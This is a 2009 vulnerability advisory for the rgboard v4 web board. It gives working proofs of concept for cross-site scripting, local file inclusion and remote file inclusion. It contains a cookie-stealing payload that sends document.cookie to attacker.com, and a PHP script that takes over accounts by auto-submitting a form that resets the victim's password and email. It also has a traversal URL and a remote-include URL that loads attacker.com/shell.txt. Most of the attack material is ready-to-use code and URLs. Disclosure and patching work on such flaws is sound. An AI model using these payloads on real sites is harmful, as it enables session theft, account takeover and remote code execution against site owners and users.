rgboard v4 (07.07.27) Multiple Vulnerability

2009-02-05T00:00:00
ID SECURITYVULNS:DOC:21292
Type securityvulns
Reporter Securityvulns
Modified 2009-02-05T00:00:00

Description

/***** XSS Vulnerability

/wrtie.php

..

$bd_content = rg_conv_text($bd_content,$bd_html); //You have to check 'html use'.

*******/

poc:

Inject XSS tag : <img src = "http://attacker.com" onError="window.location='http://attacker.com/c.php?c='+document.cookie+'&l='+window.location">Hi there! :)

/rghunter.php - Makes password as 12345

<?php extract($_GET);

$url = eregi_replace("http://","",$l);

$chk = 0;

for($i = 0; $i < strlen($url); $i++) { if($url[$i] == '/') { $chk = $i; } } for($i = $chk; $i < strlen($url); $i++) { $url[$i] = ""; }

$url = $url."/../rg4_member/modify.php"; setcookie($c); ?>

<form action = "http://<?=$url ?>?" method = "post" name = "member_info"> <input type="hidden" name="form_mode" value="member_modify_ok"> <input type="hidden" name="ret_url" value="../main/index.php"> <input type="hidden" name="mb_pass" value="12345"> <input type="hidden" name="mb_pass1" value="12345"> <input type="hidden" name="mb_nick" value="hacked"> <input type="hidden" name="mb_email" value="attacker@attack.com"> <input type="hidden" name="mb_tel11" value="062"> <input type="hidden" name="mb_tel12" value="1234"> <input type="hidden" name="mb_tel13" value="1234"> <input type="hidden" name="mb_tel21" value="010"> <input type="hidden" name="mb_tel22" value="123"> <input type="hidden" name="mb_tel23" value="1234"> <input type="hidden" name="mb_signature" value="hacked"> <input type="hidden" name="mb_introduce" value="hacked"> </form> <script> document.member_info.submit(); </script>

/***** Local File Inclusion Vulnerability

/_footer.php

    if&#40;file_exists&#40;$skin_path.&quot;footer.php&quot;&#41;&#41; include&#40;$skin_path.&quot;footer.php&quot;&#41;; //File inclusion

*******/

poc:

//yeah, there is a problem.. file_exists()! //How can we bypass it? I don`t know :) //If we have account in same server with target, we can attack his board easily //Here is the example :

http://attacker.com/RGboard/rg4_board/_footer.php?skin_path=../../../../../../tmp/

/tmp/footer.php <? $d = dir("/tmp"); echo "Handle: " . $d->handle . "\n"; echo "Path: " . $d->path . "\n"; while (false !== ($entry = $d->read())) { echo $entry."\n"; } $d->close(); ?>

//Yeah, It is good, But when we don`t account in that server, How we can beat target? //We can find a clue from php.net //On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares. //As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers //for a listing of which wrappers support stat() family of functionality. //Do you find clue too? :-O

/***** Remote File Inclusion Vulnerability

/footer.php

            &lt;/td&gt;
    &lt;/tr&gt;

</table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr>

..

include($_path['counter']."rg_counter.php"); ?> //File inclusion

*******/

poc:

http://test.com/RGboard/include/footer.php?_path[counter]=http://attacker.com/shell.txt?